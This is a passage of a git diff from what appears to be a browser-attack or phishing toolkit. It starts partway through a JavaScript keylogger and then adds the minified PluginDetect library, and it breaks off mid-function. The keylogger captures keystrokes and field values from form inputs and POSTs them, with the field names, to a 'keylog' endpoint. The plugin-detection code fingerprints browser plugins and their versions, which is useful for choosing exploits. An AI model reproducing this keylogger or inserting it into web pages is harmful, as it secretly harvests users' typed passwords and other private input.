srcname = window.event.srcElement.name; + }catch(error) + { + srcname = e.srcElement ? e.srcElement.name : e.target.name + if (srcname == "") + { + srcname = e.target.name + } + } + + var3 = (e) ? e.keyCode : e.which; + if (var3 == 9 || var3 == 8 || var3 == 13) + { + andxhr(var3.toString(16), srcname); + } + else if (var3 == 0) + { + + text = document.getElementById(id).value; + if (text.length != 0) + { + andxhr(text.toString(16), srcname); + } + } + +} +function andxhr(key, inputName) +{ + if (inputName != name) + { + name = inputName; + var2 = ","; + } + var2= var2 + key + ","; + xhr.open("POST", "keylog", true); + xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); + xhr.send(var2 + '&&' + inputName); + + if (key == 13 || var2.length > 3000) + { + var2 = ","; + } +} \ No newline at end of file diff --git a/core/javascript/plugindetect.js b/core/javascript/plugindetect.js new file mode 100644 index 0000000..6f25433 --- /dev/null +++ b/core/javascript/plugindetect.js @@ -0,0 +1,76 @@ +/* +PluginDetect v0.9.0 +www.pinlady.net/PluginDetect/license/ +[ QuickTime Java DevalVR Flash Shockwave WindowsMediaPlayer Silverlight VLC AdobeReader PDFReader RealPlayer IEcomponent ActiveX PDFjs ] +[ isMinVersion getVersion hasMimeType onDetectionDone ] +[ AllowActiveX ] +*/ + +var PluginDetect={version:"0.9.0",name:"PluginDetect",addPlugin:function(p,q){if(p&&PluginDetect.isString(p)&&q&&PluginDetect.isFunc(q.getVersion)){p=p.replace(/\s/g,"").toLowerCase();PluginDetect.Plugins[p]=q;if(!PluginDetect.isDefined(q.getVersionDone)){q.installed=null;q.version=null;q.version0=null;q.getVersionDone=null;q.pluginName=p;}}},uniqueName:function(){return PluginDetect.name+"998"},openTag:"<",hasOwnPROP:({}).constructor.prototype.hasOwnProperty,hasOwn:function(s,t){var p;try{p=PluginDetect.hasOwnPROP.call(s,t)}catch(q){}return !!p},rgx:{str:/string/i,num:/number/i,fun:/function/i,arr:/array/i},toString:({}).constructor.prototype.toString,isDefined:function(p){return typeof p!="undefined"},isArray:function(p){return PluginDetect.rgx.arr.test(PluginDetect.toString.call(p))},isString:function(p){return PluginDetect.rgx.str.test(PluginDetect.toString.call(p))},isNum:function(p){return PluginDetect.rgx.num.test(PluginDetect.toString.call(p))},isStrNum:function(p){return PluginDetect.isString(p)&&(/\d/).test(p)},isFunc:function(p){return PluginDetect.rgx.fun.test(PluginDetect.toString.call(p))},getNumRegx:/[\d][\d\.\_,\-]*/,splitNumRegx:/[\.\_,\-]/g,getNum:function(q,r){var p=PluginDetect.isStrNum(q)?(PluginDetect.isDefined(r)?new RegExp(r):PluginDetect.getNumRegx).exec(q):null;return p?p[0]:null},compareNums:function(w,u,t){var s,r,q,v=parseInt;if(PluginDetect.isStrNum(w)&&PluginDetect.isStrNum(u)){if(PluginDetect.isDefined(t)&&t.compareNums){return t.compareNums(w,u)}s=w.split(PluginDetect.splitNumRegx);r=u.split(PluginDetect.splitNumRegx);for(q=0;qv(r[q],10)){return 1}if(v(s[q],10)r||!(/\d/).test(s[p])){s[p]="0"}}return s.slice(0,4).join(",")},pd:{getPROP:function(s,q,p){try{if(s){p=s[q]}}catch(r){}return p},findNavPlugin:function(u){if(u.dbug){return u.dbug}var A=null;if(window.navigator){var z={Find:PluginDetect.isString(u.find)?new RegExp(u.find,"i"):u.find,Find2:PluginDetect.isString(u.find2)?new RegExp(u.find2,"i"):u.find2,Avoid:u.avoid?(PluginDetect.isString(u.avoid)?new RegExp(u.avoid,"i"):u.avoid):0,Num:u.num?/\d/:0},s,r,t,y,x,q,p=navigator.mimeTypes,w=navigator.plugins;if(u.mimes&&p){y=PluginDetect.isArray(u.mimes)?[].concat(u.mimes):(PluginDetect.isString(u.mimes)?[u.mimes]:[]);for(s=0;s-1&&p>r&&s[p]!="0"){return q}if(v[p]!=s[p]){if(r==-1){r=p}if(s[p]!="0"){return q}}}return t},AXO:(function(){var q;try{q=new window.ActiveXObject()}catch(p){}return q?null:window.ActiveXObject})(),getAXO:function(p){var r=null;try{r=new PluginDetect.AXO(p)}catch(q){PluginDetect.errObj=q;}if(r){PluginDetect.browser.ActiveXEnabled=!0}return r},browser:{detectPlatform:function(){var r=this,q,p=window.navigator?navigator.platform||"":"";PluginDetect.OS=100;if(p){var s=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100];for(q=s.length-2;q>=0;q=q-2){if(s[q]&&new RegExp(s[q],"i").test(p)){PluginDetect.OS=s[q+1];break}}}},detectIE:function(){var r=this,u=document,t,q,v=window.navigator?navigator.userAgent||"":"",w,p,y;r.ActiveXFilteringEnabled=!1;r.ActiveXEnabled=!1;try{r.ActiveXFilteringEnabled=!!window.external.msActiveXFilteringEnabled()}catch(s){}p=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","TDCCtl.TDCCtl","Shell.UIHelper","HtmlDlgSafeHelper.HtmlDlgSafeHelper","Scripting.Dictionary"];y=["WMPlayer.OCX","ShockwaveFlash.ShockwaveFlash","AgControl.AgControl"];w=p.concat(y);for(t=0;t=7?u.documentMode:0)||((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(v)?parseFloat(RegExp.$1,10):7)}},detectNonIE:function(){var p=this,s=window.navigator?navigator:{},r=p.isIE?"":s.userAgent||"",t=s.vendor||"",q=s.product||"";p.isGecko=(/Gecko/i).test(q)&&(/Gecko\s*\/\s*\d/i).test(r);p.verGecko=p.isGecko?PluginDetect.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(r)?RegExp.$1:"0.9"):null;p.isOpera=(/(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i).test(r);p.verOpera=p.isOpera?PluginDetect.formatNum(RegExp.$2):null;p.isChrome=!p.isOpera&&(/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(r);p.verChrome=p.isChrome?PluginDetect.formatNum(RegExp.$2):null;p.isSafari=!p.isOpera&&!p.isChrome&&((/Apple/i).test(t)||!t)&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(r);p.verSafari=p.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(r)?PluginDetect.formatNum(RegExp.$1):null;},init:function(){var p=this;p.detectPlatform();p.detectIE();p.detectNonIE()}},init:{hasRun:0,library:function(){window[PluginDetect.name]=PluginDetect;var q=this,p=document;PluginDetect.win.init();PluginDetect.head=p.getElementsByTagName("head")[0]||p.getElementsByTagName("body")[0]||p.body||null;PluginDetect.browser.init();q.hasRun=1;}},ev:{addEvent:function(r,q,p){if(r&&q&&p){if(r.addEventListener){r.addEventListener(q,p,false)}else{if(r.attachEvent){r.attachEvent("on"+q,p)}else{r["on"+q]=this.concatFn(p,r["on"+q])}}}},removeEvent:function(r,q,p){if(r&&q&&p){if(r.removeEventListener){r.removeEventListener(q,p,false)}else{if(r.detachEvent){r.detachEvent("on"+q,p)}}}},concatFn:function(q,p){return function(){q();if(typeof p=="function"){p()}}},handler:function(t,s,r,q,p){return function(){t(s,r,q,p)}},handlerOnce:function(s,r,q,p){return function(){var u=PluginDetect.uniqueName();if(!s[u]){s[u]=1;s(r,q,p)}}},handlerWait:function(s,u,r,q,p){var t=this;return function(){t.setTimeout(t.handler(u,r,q,p),s)}},setTimeout:function(q,p){if(PluginDetect.win&&PluginDetect.win.unload){return}setTimeout(q,p)},fPush:function(q,p){if(PluginDetect.isArray(p)&&(PluginDetect.isFunc(q)||(PluginDetect.isArray(q)&&q.length>0&&PluginDetect.isFunc(q[0])))){p.push(q)}},call0:function(q){var p=PluginDetect.isArray(q)?q.length:-1;if(p>0&&PluginDetect.isFunc(q[0])){q[0](PluginDetect,p>1?q[1]:0,p>2?q[2]:0,p>3?q[3]:0)}else{if(PluginDetect.isFunc(q)){q(PluginDetect)}}},callArray0:function(p){var q=this,r;if(PluginDetect.isArray(p)){while(p.length){r=p[0];p.splice(0,1);if(PluginDetect.win&&PluginDetect.win.unload&&p!==PluginDetect.win.unloadHndlrs){}else{q.call0(r)}}}},call:function(q){var p=this;p.call0(q);p.ifDetectDoneCallHndlrs()},callArray:function(p){var q=this;q.callArray0(p);q.ifDetectDoneCallHndlrs()},allDoneHndlrs:[],ifDetectDoneCallHndlrs:function(){var r=this,p,q;if(!r.allDoneHndlrs.length){return}if(PluginDetect.win){if(!PluginDetect.win.loaded||PluginDetect.win.loadPrvtHndlrs.length||PluginDetect.win.loadPblcHndlrs.length){return}}if(PluginDetect.Plugins){for(p in PluginDetect.Plugins){if(PluginDetect.hasOwn(PluginDetect.Plugins,p)){q=PluginDetect.Plugins[p];if(q&&PluginDetect.isFunc(q.getVersion)){if(q.OTF==3||(q.DoneHndlrs&&q.DoneHndlrs.length)||(q.BIHndlrs&&q.BIHndlrs.length)){return}}}}}r.callArray0(r.allDoneHndlrs);}},isMinVersion:function(v,u,r,q){var s=PluginDetect.pd.findPlugin(v),t,p=-1;if(s.status<0){return s.status}t=s.plugin;u=PluginDetect.formatNum(PluginDetect.isNum(u)?u.toString():(PluginDetect.isStrNum(u)?PluginDetect.getNum(u):"0"));if(t.getVersionDone!=1){t.getVersion(u,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}if(t.installed!==null){p=t.installed<=0.5?t.installed:(t.installed==0.7?1:(t.version===null?0:(PluginDetect.compareNums(t.version,u,t)>=0?1:-0.1)))}return p},getVersion:function(u,r,q){var s=PluginDetect.pd.findPlugin(u),t,p;if(s.status<0){return null}t=s.plugin;if(t.getVersionDone!=1){t.getVersion(null,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}p=(t.version||t.version0);p=p?p.replace(PluginDetect.splitNumRegx,PluginDetect.pd.getVersionDelimiter):p;return p},hasMimeType:function(t){if(t&&window.navigator&&navigator.mimeTypes){var w,v,q,s,p=navigator.mimeTypes,r=PluginDetect.isArray(t)?[].concat(t):(PluginDetect.isString(t)?[t]:[]);s=r.length;for(q=0;q=0){p=(u.L.x==q.x?s.isActiveXObject(u,q.v):PluginDetect.compareNums(t,u.L.v)<=0)?1:-1}}return p},search:function(v){var B=this,w=v.$$,q=0,r;r=v.searchHasRun||B.isDisabled()?1:0;v.searchHasRun=1;if(r){return v.version||null}B.init(v);var F,E,D,s=v.DIGITMAX,t,p,C=99999999,u=[0,0,0,0],G=[0,0,0,0];var A=function(y,PluginDetect){var H=[].concat(u),I;H[y]=PluginDetect;I=B.isActiveXObject(v,H.join(","));if(I){q=1;u[y]=PluginDetect}else{G[y]=PluginDetect}return I};for(F=0;FG[F]&&PluginDetect.compareNums(p,v.Lower[D])>=0&&PluginDetect.compareNums(t,v.Upper[D])<0){G[F]=Math.floor(s[D][F])}}}for(E=0;E<30;E++){if(G[F]-u[F]<=16){for(D=G[F];D>=u[F]+(F?1:0);D--){if(A(F,D)){break}}break}A(F,Math.round((G[F]+u[F])/2))}if(!q){break}G[F]=u[F];}if(q){v.version=B.convert(v,u.join(",")).v}return v.version||null},emptyNode:function(p){try{p.innerHTML=""}catch(q){}},HTML:[],len:0,onUnload:function(r,q){var p,t=q.HTML,s;for(p=0;p'+PluginDetect.openTag+"/object>";for(p=0;p=0){return 0}r.innerHTML=u.tagA+q+u.tagB;if(PluginDetect.pd.getPROP(r.firstChild,"object")){p=1}if(p){u.min=q;t.HTML.push({spanObj:r,span:t.span})}else{u.max=q;r.innerHTML=""}return p},span:function(){return this.spanObj},convert_:function(t,p,q,s){var r=t.convert[p];return r?(PluginDetect.isFunc(r)?PluginDetect.formatNum(r(q.split(PluginDetect.splitNumRegx),s).join(",")):q):r},convert:function(v,r,u){var t=this,q,p,s;r=PluginDetect.formatNum(r);p={v:r,x:-1};if(r){for(q=0;q=0&&(!q||PluginDetect.compareNums(r,u?t.convert_(v,q,v.Upper[q]):v.Upper[q])<0)){p.v=t.convert_(v,q,r,u);p.x=q;break}}}return p},z:0},win:{disable:function(){this.cancel=true},cancel:false,loaded:false,unload:false,hasRun:0,init:function(){var p=this;if(!p.hasRun){p.hasRun=1;if((/complete/i).test(document.readyState||"")){p.loaded=true;}else{PluginDetect.ev.addEvent(window,"load",p.onLoad)}PluginDetect.ev.addEvent(window,"unload",p.onUnload)}},loadPrvtHndlrs:[],loadPblcHndlrs:[],unloadHndlrs:[],onUnload:function(){var p=PluginDetect.win;if(p.unload){return}p.unload=true;PluginDetect.ev.removeEvent(window,"load",p.onLoad);PluginDetect.ev.removeEvent(window,"unload",p.onUnload);PluginDetect.ev.callArray(p.unloadHndlrs)},onLoad:function(){var p=PluginDetect.win;if(p.loaded||p.unload||p.cancel){return}p.loaded=true;PluginDetect.ev.callArray(p.loadPrvtHndlrs);PluginDetect.ev.callArray(p.loadPblcHndlrs);}},DOM:{isEnabled:{objectTag:function(){var q=PluginDetect.browser,p=q.isIE?0:1;if(q.ActiveXEnabled){p=1}return !!p},objectTagUsingActiveX:function(){var p=0;if(PluginDetect.browser.ActiveXEnabled){p=1}return !!p},objectProperty:function(p){if(p&&p.tagName&&PluginDetect.browser.isIE){if((/applet/i).test(p.tagName)){return(!this.objectTag()||PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement("object"),"object"))?1:0)}return PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement(p.tagName),"object"))?1:0}return 0}},HTML:[],div:null,divID:"plugindetect",divWidth:500,getDiv:function(){return this.div||document.getElementById(this.divID)||null},initDiv:function(){var q=this,p;if(!q.div){p=q.getDiv();if(p){q.div=p;}else{q.div=document.createElement("div");q.div.id=q.divID;q.setStyle(q.div,q.getStyle.div());q.insertDivInBody(q.div)}PluginDetect.ev.fPush([q.onUnload,q],PluginDetect.win.unloadHndlrs)}p=0},pluginSize:1,iframeWidth:40,iframeHeight:10,altHTML:"     ",emptyNode:function(q){var p=this;if(q&&(/div|span/i).test(q.tagName||"")){if(PluginDetect.browser.isIE){p.setStyle(q,["display","none"])}try{q.innerHTML=""}catch(r){}}},removeNode:function(p){try{if(p&&p.parentNode){p.parentNode.removeChild(p)}}catch(q){}},onUnload:function(u,t){var r,q,s,v,w=t.HTML,p=w.length;if(p){for(q=p-1;q>=0;q--){v=w[q];if(v){w[q]=0;t.emptyNode(v.span());t.removeNode(v.span());v.span=0;v.spanObj=0;v.doc=0;v.objectProperty=0}}}r=t.getDiv();t.emptyNode(r);t.removeNode(r);v=0;s=0;r=0;t.div=0},span:function(){var p=this;if(!p.spanObj){p.spanObj=p.doc.getElementById(p.spanId)}return p.spanObj||null},width:function(){var t=this,s=t.span(),q,r,p=-1;q=s&&PluginDetect.isNum(s.scrollWidth)?s.scrollWidth:p;r=s&&PluginDetect.isNum(s.offsetWidth)?s.offsetWidth:p;s=0;return r>0?r:(q>0?q:Math.max(r,q))},obj:function(){var p=this.span();return p?p.firstChild||null:null},readyState:function(){var p=this;return PluginDetect.browser.isIE&&PluginDetect.isDefined(PluginDetect.pd.getPROP(p.span(),"readyState"))?PluginDetect.pd.getPROP(p.obj(),"readyState"):PluginDetect.UNDEFINED},objectProperty:function(){var r=this,q=r.DOM,p;if(q.isEnabled.objectProperty(r)){p=PluginDetect.pd.getPROP(r.obj(),"object")}return p},onLoadHdlr:function(p,q){q.loaded=1},getTagStatus:function(q,A,E,D,t,H,v){var F=this;if(!q||!q.span()){return -2}var y=q.width(),r=q.obj()?1:0,s=q.readyState(),p=q.objectProperty();if(p){return 1.5}var u=/clsid\s*\:/i,C=E&&u.test(E.outerHTML||"")?E:(D&&u.test(D.outerHTML||"")?D:0),w=E&&!u.test(E.outerHTML||"")?E:(D&&!u.test(D.outerHTML||"")?D:0),z=q&&u.test(q.outerHTML||"")?C:w;if(!A||!A.span()||!z||!z.span()){return -2}var x=z.width(),B=A.width(),G=z.readyState();if(y<0||x<0||B<=F.pluginSize){return 0}if(v&&!q.pi&&PluginDetect.isDefined(p)&&PluginDetect.browser.isIE&&q.tagName==z.tagName&&q.time<=z.time&&y===x&&s===0&&G!==0){q.pi=1}if(x.'+PluginDetect.openTag+"/div>");q=s.getElementById(u)}catch(r){}}p=s.getElementsByTagName("body")[0]||s.body;if(p){p.insertBefore(v,p.firstChild);if(q){p.removeChild(q)}}v=0},iframe:{onLoad:function(p,q){PluginDetect.ev.callArray(p);},insert:function(r,q){var s=this,v=PluginDetect.DOM,p,u=document.createElement("iframe"),t;v.setStyle(u,v.getStyle.iframe());u.width=v.iframeWidth;u.height=v.iframeHeight;v.initDiv();p=v.getDiv();p.appendChild(u);try{s.doc(u).open()}catch(w){}u[PluginDetect.uniqueName()]=[];t=PluginDetect.ev.handlerOnce(PluginDetect.isNum(r)&&r>0?PluginDetect.ev.handlerWait(r,s.onLoad,u[PluginDetect.uniqueName()],q):PluginDetect.ev.handler(s.onLoad,u[PluginDetect.uniqueName()],q));PluginDetect.ev.addEvent(u,"load",t);if(!u.onload){u.onload=t}PluginDetect.ev.addEvent(s.win(u),"load",t);return u},addHandler:function(q,p){if(q){PluginDetect.ev.fPush(p,q[PluginDetect.uniqueName()])}},close:function(p){try{this.doc(p).close()}catch(q){}},write:function(p,r){try{this.doc(p).write(r)}catch(q){}},win:function(p){try{return p.contentWindow}catch(q){}return null},doc:function(p){var r;try{r=p.contentWindow.document}catch(q){}try{if(!r){r=p.contentDocument}}catch(q){}return r||null}},insert:function(t,s,u,p,y,w,v){var D=this,F,E,C,B,A;if(!v){D.initDiv();v=D.getDiv()}if(v){if((/div/i).test(v.tagName)){B=v.ownerDocument}if((/iframe/i).test(v.tagName)){B=D.iframe.doc(v)}}if(B&&B.createElement){}else{B=document}if(!PluginDetect.isDefined(p)){p=""}if(PluginDetect.isString(t)&&(/[^\s]/).test(t)){t=t.toLowerCase().replace(/\s/g,"");F=PluginDetect.openTag+t+" ";F+='style="'+D.getStyle.plugin(w)+'" ';var r=1,q=1;for(A=0;A"}else{F+=">";for(A=0;A'}}F+=p+PluginDetect.openTag+"/"+t+">"}}else{t="";F=p}E={spanId:"",spanObj:null,span:D.span,loaded:null,tagName:t,outerHTML:F,DOM:D,time:new Date().getTime(),width:D.width,obj:D.obj,readyState:D.readyState,objectProperty:D.objectProperty,doc:B};if(v&&v.parentNode){if((/iframe/i).test(v.tagName)){D.iframe.addHandler(v,[D.onLoadHdlr,E]);E.loaded=0;E.spanId=PluginDetect.name+"Span"+D.HTML.length;C=''+F+"";D.iframe.write(v,C)}else{if((/div/i).test(v.tagName)){C=B.createElement("span");D.setStyle(C,D.getStyle.span());v.appendChild(C);try{C.innerHTML=F}catch(z){}E.spanObj=C}}}C=0;v=0;D.HTML.push(E);return E}},file:{any:"fileStorageAny999",valid:"fileStorageValid999",save:function(s,t,r){var q=this,p;if(s&&PluginDetect.isDefined(r)){if(!s[q.any]){s[q.any]=[]}if(!s[q.valid]){s[q.valid]=[]}s[q.any].push(r);p=q.split(t,r);if(p){s[q.valid].push(p)}}},getValidLength:function(p){return p&&p[this.valid]?p[this.valid].length:0},getAnyLength:function(p){return p&&p[this.any]?p[this.any].length:0},getValid:function(r,p){var q=this;return r&&r[q.valid]?q.get(r[q.valid],p):null},getAny:function(r,p){var q=this;return r&&r[q.any]?q.get(r[q.any],p):null},get:function(s,p){var r=s.length-1,q=PluginDetect.isNum(p)?p:r;return(q<0||q>r)?null:s[q]},split:function(t,q){var s=null,p,r;t=t?t.replace(".","\\."):"";r=new RegExp("^(.*[^\\/])("+t+"\\s*)$");if(PluginDetect.isString(q)&&r.test(q)){p=(RegExp.$1).split("/");s={name:p[p.length-1],ext:RegExp.$2,full:q};p[p.length-1]="";s.path=p.join("/")}return s}},Plugins:{}};PluginDetect.init.library();var i={setPluginStatus:function(q,p,s){var r=this;r.version=p?PluginDetect.formatNum(p,3):null;r.installed=r.version?1:(s?(s>0?0.7:-0.1):(q?0:-1));r.getVersionDone=r.installed==0.7||r.installed==-0.1||r.nav.done===0?0:1;},getVersion:function(s,t){var u=this,p=null,r=0,q;t=PluginDetect.browser.isIE?0:t;if((!r||PluginDetect.dbug)&&u.nav.query(t).installed){r=1}if((!p||PluginDetect.dbug)&&u.nav.query(t).version){p=u.nav.version}q=!p?u.codebase.isMin(s):0;if(q){u.setPluginStatus(0,0,q);return}if(!p||PluginDetect.dbug){q=u.codebase.search();if(q){r=1;p=q}}if((!r||PluginDetect.dbug)&&u.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&u.axo.query().version){p=u.axo.version}u.setPluginStatus(r,p)},nav:{done:null,installed:0,version:null,result:[0,0],mimeType:["video/quicktime","application/x-quicktimeplayer","image/x-macpaint","image/x-quicktime","application/x-rtsp","application/x-sdp","application/sdp","audio/vnd.qcelp","video/sd-video","audio/mpeg","video/mp4","video/3gpp2","application/x-mpeg","audio/x-m4b","audio/x-aac","video/flc"],find:"QuickTime.*Plug-?in",find2:"QuickTime.*Plug-?in",find3filename:"QuickTime|QT",avoid:"Totem|VLC|RealPlayer|Helix|MPlayer|Windows\\s*Media\\s*Player",plugins:"QuickTime Plug-in",detect:function(s){var t=this,r,q,p={installed:0,version:null,plugin:null};r=PluginDetect.pd.findNavPlugin({find:t.find,find2:s?0:t.find2,avoid:s?0:t.avoid,mimes:t.mimeType,plugins:t.plugins});if(r){p.plugin=r;p.installed=1;q=new RegExp(t.find,"i");if(r.name&&q.test(r.name+"")){p.version=PluginDetect.getNum(r.name+"")}}return p},query:function(r){var q=this,t,s;r=r?1:0;if(q.done===null){if(PluginDetect.hasMimeType(q.mimeType)){s=q.detect(1);if(s.installed){t=q.detect(0);q.result=[t,t.installed?t:s]}var x=q.result[0],v=q.result[1],w=new RegExp(q.avoid,"i"),u=new RegExp(q.find3filename,"i"),p;x=x?x.plugin:0;v=v?v.plugin:0;if(!x&&v&&v.name&&(!v.description||(/^[\s]*$/).test(v.description+""))&&!w.test(v.name+"")){p=(v.filename||"")+"";if((/^.*[\\\/]([^\\\/]*)$/).test(p)){p=RegExp.$1;}if(p&&u.test(p)&&!w.test(p)){q.result[0]=q.result[1]}}}q.done=q.result[0]===q.result[1]?1:0;}if(q.result[r]){q.installed=q.result[r].installed;q.version=q.result[r].version}return q}},codebase:{classID:"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B",isMin:function(r){var s=this,q,p=0;s.$$=i;if(PluginDetect.isStrNum(r)){q=r.split(PluginDetect.splitNumRegx);if(q.length>3&&parseInt(q[3],10)>0){q[3]="9999"}r=q.join(",");p=PluginDetect.codebase.isMin(s,r)}return p},search:function(){this.$$=i;return PluginDetect.codebase.search(this)},DIGITMAX:[[12,11,11],[7,60],[7,11,11],0,[7,11,11]],DIGITMIN:[5,0,0,0],Upper:["999","7,60","7,50","7,6","7,5"],Lower:["7,60","7,50","7,6","7,5","0"],convert:[1,function(r,q){return q?[r[0],r[1]+r[2],r[3],"0"]:[r[0],r[1].charAt(0),r[1].charAt(1),r[2]]},1,0,1]},axo:{hasRun:0,installed:0,version:null,progID:["QuickTimeCheckObject.QuickTimeCheck","QuickTimeCheckObject.QuickTimeCheck.1"],progID0:"QuickTime.QuickTime",query:function(){var r=this,t,p,q,s=r.hasRun||!PluginDetect.browser.ActiveXEnabled;r.hasRun=1;if(s){return r}for(p=0;p0?0.7:-0.1):(v?1:(p?-0.2:-1))}if(t.OTF==2&&t.NOTF&&!t.applet.getResult()[0]){t.installed=p?-0.2:-1}if(t.OTF==3&&t.installed!=-0.5&&t.installed!=0.5){t.installed=(t.NOTF.isJavaActive(1)>=1?0.5:-0.5)}if(t.OTF==4&&(t.installed==-0.5||t.installed==0.5)){if(v){t.installed=1}else{if(q){t.installed=q>0?0.7:-0.1}else{if(t.NOTF.isJavaActive(1)>=1){if(p){t.installed=1;v=p}else{t.installed=0}}else{if(p){t.installed=-0.2}else{t.installed=-1}}}}}if(p){t.version0=PluginDetect.formatNum(PluginDetect.getNum(p))}if(v&&!q){t.version=PluginDetect.formatNum(PluginDetect.getNum(v))}if(w&&PluginDetect.isString(w)){t.vendor=w}if(!t.vendor){t.vendor=""}if(t.verify&&t.verify.isEnabled()){t.getVersionDone=0}else{if(t.getVersionDone!=1){if(t.OTF<2){t.getVersionDone=0}else{t.getVersionDone=t.applet.can_Insert_Query_Any()?0:1}}}},DTK:{hasRun:0,status:null,VERSIONS:[],version:"",HTML:null,Plugin2Status:null,classID:["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],mimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],isDisabled:function(p){var q=this;if(q.HTML){return 1}if(p||PluginDetect.dbug){return 0}if(q.hasRun||!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){return 1}return 0},query:function(B){var z=this,t=a,A,v,p=PluginDetect.DOM.altHTML,u={},q,s=null,w=null,r=z.isDisabled(B);z.hasRun=1;if(r){return z}z.status=0;if(PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){for(A=0;A0?1:-1;for(A=0;A0){p.version=q;p.mimeObj=s;p.pluginObj=r;p.mimetype=s.type;}}},query:function(){var t=this,s=a,w,v,B,A,z,r,q=navigator.mimeTypes,p=t.isDisabled();t.hasRun=1;if(p){return t}r=q.length;if(PluginDetect.isNum(r)){for(w=0;w=5){p="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0");}return p},getPluginNum:function(){var s=this,q=a,p=0,u,t,r,w,v=0;r=/Java[^\d]*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,num:1,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}if(!p){r=/Java.*\d.*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}}return p},checkPluginNum:function(s,r){var p,q;p=r.test(s)?PluginDetect.formatNum(PluginDetect.getNum(s)):0;if(p&&PluginDetect.compareNums(p,PluginDetect.formatNum("10"))>=0){q=p.split(PluginDetect.splitNumRegx);p=PluginDetect.formatNum("1,"+(parseInt(q[0],10)-3)+",0,"+q[1])}if(p&&(PluginDetect.compareNums(p,PluginDetect.formatNum("1,3"))<0||PluginDetect.compareNums(p,PluginDetect.formatNum("2"))>=0)){p=0}return p},query:function(){var t=this,s=a,r,p=0,q=t.hasRun||!s.navigator.mimeObj;t.hasRun=1;if(q){return t}if(!p||PluginDetect.dbug){r=t.getPlatformNum();if(r){p=r}}if(!p||PluginDetect.dbug){r=t.getPluginNum();if(r){p=r}}if(p){t.version=PluginDetect.formatNum(p)}return t}},applet:{codebase:{isMin:function(p){this.$$=a;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=a;return PluginDetect.codebase.search(this)},DIGITMAX:[[15,128],[6,0,512],0,[1,5,2,256],0,[1,4,1,1],[1,4,0,64],[1,3,2,32]],DIGITMIN:[1,0,0,0],Upper:["999","10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4"],Lower:["10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4","0"],convert:[function(r,q){return q?[parseInt(r[0],10)>1?"99":parseInt(r[1],10)+3+"",r[3],"0","0"]:["1",parseInt(r[0],10)-3+"","0",r[1]]},function(r,q){return q?[r[1],r[2],r[3]+"0","0"]:["1",r[0],r[1],r[2].substring(0,r[2].length-1||1)]},0,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},0,1,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},1]},results:[[null,null],[null,null],[null,null],[null,null]],getResult:function(){var q=this,s=q.results,p,r=[];for(p=s.length-1;p>=0;p--){r=s[p];if(r[0]){break}}r=[].concat(r);return r},DummySpanTagHTML:0,HTML:[0,0,0,0],active:[0,0,0,0],DummyObjTagHTML:0,DummyObjTagHTML2:0,allowed:[1,1,1,1],VerifyTagsHas:function(q){var r=this,p;for(p=0;pp-1&&PluginDetect.isNum(r[p-1])){if(r[p-1]<0){r[p-1]=0}if(r[p-1]>3){r[p-1]=3}q.allowed[p]=r[p-1]}}q.allowed[0]=q.allowed[3];}},setVerifyTagsArray:function(r){var q=this,p=a;if(p.getVersionDone===null){q.saveAsVerifyTagsArray(p.getVerifyTagsDefault())}if(PluginDetect.dbug){q.saveAsVerifyTagsArray([3,3,3])}else{if(r){q.saveAsVerifyTagsArray(r)}}},isDisabled:{single:function(q){var p=this;if(p.all()){return 1}if(q==1){return !PluginDetect.DOM.isEnabled.objectTag()}if(q==2){return p.AppletTag()}if(q===0){return PluginDetect.codebase.isDisabled()}if(q==3){return !PluginDetect.DOM.isEnabled.objectTagUsingActiveX()}return 1},all_:null,all:function(){var r=this,t=a,q=t.navigator,p,s=PluginDetect.browser;if(r.all_===null){if((s.isOpera&&PluginDetect.compareNums(s.verOpera,"13,0,0,0")<0&&!q.javaEnabled())||(r.AppletTag()&&!PluginDetect.DOM.isEnabled.objectTag())||(!q.mimeObj&&!s.isIE)){p=1}else{p=0}r.all_=p}return r.all_},AppletTag:function(){var q=a,p=q.navigator;return PluginDetect.browser.isIE?!p.javaEnabled():0},VerifyTagsDefault_1:function(){var 